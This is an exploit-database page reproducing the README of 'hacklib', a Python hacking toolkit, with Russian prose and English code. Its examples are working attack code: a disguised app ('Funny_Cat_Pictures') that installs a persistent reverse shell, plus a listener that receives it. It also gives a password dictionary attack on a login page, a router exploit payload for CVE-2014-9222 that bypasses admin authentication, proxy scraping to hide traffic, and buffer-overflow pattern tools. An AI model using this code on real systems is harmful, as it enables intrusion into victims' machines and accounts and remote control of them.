Sploitus

Exploit for python-hacklib

kitploit · 2026-09-04

Exploit Code

MARKDOWN290 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LAZORFUZZ-PYTHON-HACKLIB
# hacklib

![MIT License](https://img.shields.io/github/license/mashape/apistatus.svg) ![Python 2.6|2.7](https://img.shields.io/badge/python-2.6%7C2.7-yellow.svg)

##### Инструментарий для энтузиастов хакинга, использующих Python.

hacklib — это модуль Python для энтузиастов хакинга, интересующихся сетевой безопасностью. Он больше не находится в активной разработке.

#### Установка

Чтобы получить hacklib, просто выполните в командной строке:

root@kitploit:~
    
    
    pip install hacklib
    

hacklib также имеет пользовательский интерфейс. Чтобы его использовать, вы можете сделать одно из следующего:

Скачайте hacklib.py и запустите в консоли:

root@kitploit:~
    
    
    python hacklib.py
    ----------------------------------------------
    Hey. What can I do you for?
    
    
    Enter the number corresponding to your choice.
    
    1) Connect to a proxy
    2) Target an IP or URL
    3) Lan Scan
    4) Create Backdoor
    5) Server
    6) Exit
    
    

Или если вы установили его через pip:

root@kitploit:~
    
    
    import hacklib
    hacklib.userInterface()
    

#### Примеры использования

Создание бэкдора с обратной оболочкой (в настоящее время только для Mac):

root@kitploit:~
    
    
    import hacklib
    
    bd = hacklib.Backdoor()
    # Generates an app that, when ran, drops a persistent reverse shell into the system.
    bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
    # Takes the IP and port of the command server, the OS of the target, and the name of the .app
    

Сгенерированное приложение:

![Screenshot](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

Прослушивание соединений с помощью Server:

root@kitploit:~
    
    
    >>> import hacklib
    >>> s = hacklib.Server(9090) # Bind server to port 9090
    >>> s.listen() 
    New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
    bash: no job control in this shell
    bash$ whoami # Type a command
    leon
    bash$ # Nice!
    

Универсальный клиент для входа почти во все формы HTTP/HTTPS и HTTP Basic Authentication:

root@kitploit:~
    
    
    import hacklib
    
    ac = hacklib.AuthClient()
    # Logging into a gmail account
    htmldata = ac.login('https://gmail.com', 'email', 'password')
    
    # Check for a string in the resulting page
    if 'Inbox' in htmldata: print 'Login Success.'
    else: print 'Login Failed.'
    
    # For logins using HTTP Basic Auth:
    try: 
        htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
    except: pass #login failed
    

Простая атака по словарю с использованием AuthClient:

root@kitploit:~
    
    
    import hacklib
    
    ac = hacklib.AuthClient()
    # Get the top 100 most common passwords
    passwords = hacklib.topPasswords(100)
    
    for p in passwords:
        htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
        if htmldata and 'welcome' in htmldata.lower():
            print 'Password is', p
            break
    

Сканирование портов:

root@kitploit:~
    
    
    from hacklib import *
    
    ps = PortScanner()
    ps.scan(getIP('yourwebsite.com'))
    # By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default
    
    # After a scan, open ports are saved within ps for reference
    if ps.portOpen(80):
        # Establish a TCP stream and sends a message
        send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')
    

Эксплойт Misfortune Cookie (CVE-2014-9222) с использованием PortScanner:

root@kitploit:~
    
    
    >>> import hacklib
    
    # Discovery
    >>> ps = hacklib.PortScanner()
    >>> ps.scan('192.168.1.1', (80, 81))
    Port 80:
    HTTP/1.1 200
    Content-Type: text/html
    Transfer-Encoding: chunked
    Server: RomPager/4.07 UPnP/1.0
    EXT:
    # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.
    
    # Exploitation
    >>> payload = '''GET / HTTP/1.0\r\n
    Host: 192.168.1.1
    User-Agent: googlebot
    Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
    Accept-Language: en-US, en; q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
    >>> hacklib.send('192.168.1.1', 80, payload)
    # The cookie replaced the firmware's memory allocation for web authentication with a null bye.
    # The router's admin page is now fully accessible from any web browser.
    

FTP-аутентификация:

root@kitploit:~
    
    
    import hacklib
    ftp = hacklib.FTPAuth('127.0.0.1', 21)
    try:
        ftp.login('username', 'password')
    except:
        print 'Login failed.'
    

Сбор и туннелирование Socks4/5 прокси

root@kitploit:~
    
    
    >>> import hacklib
    >>> import urllib2
    >>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
    >>> proxy = hacklib.Proxy()
    >>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
    >>> proxy.IP
    u'41.203.214.58'
    >>> proxy.port
    65000
    >>> proxy.country
    u'KE'
    # All Python network activity across all modules are routed through the proxy:
    >>> urllib2.urlopen('http://icanhazip.com/').read() 
    '41.203.214.58\n'
    # Notes: Only network activity via Python are masked by the proxy.
    # Network activity on other programs such as your webbrowser remain unmasked.
    # To filter proxies by country and type:
    # proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')
    

Искажение слов:

root@kitploit:~
    
    
    from hacklib import *
    
    word = Mangle("Test", 0, 10, 1990, 2016)
    
    word.Leet()
    word.Numbers()
    word.Years()
    

Вывод:

root@kitploit:~
    
    
    T3$t
    Test0
    0Test
    ...snip...
    Test10
    10Test
    Test1990
    1990Test
    ...snip...
    Test2016
    2016Test
    

Создание шаблона:

root@kitploit:~
    
    
    from hacklib import *
    
    Pattern = PatternCreate(100)
    
    Pattern.generate()
    

Вывод:

root@kitploit:~
    
    
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
    

Смещение шаблона:

root@kitploit:~
    
    
    from hacklib import *
    
    Offset = PatternOffset("6Ab7")
    
    Offset.find()
    

Вывод:

root@kitploit:~
    
    
    [+] Offset: 50
    

#### Зависимости

Не все классы имеют внешние зависимости, но на всякий случай вы можете сделать следующее:

root@kitploit:~
    
    
    hacklib.installDependencies()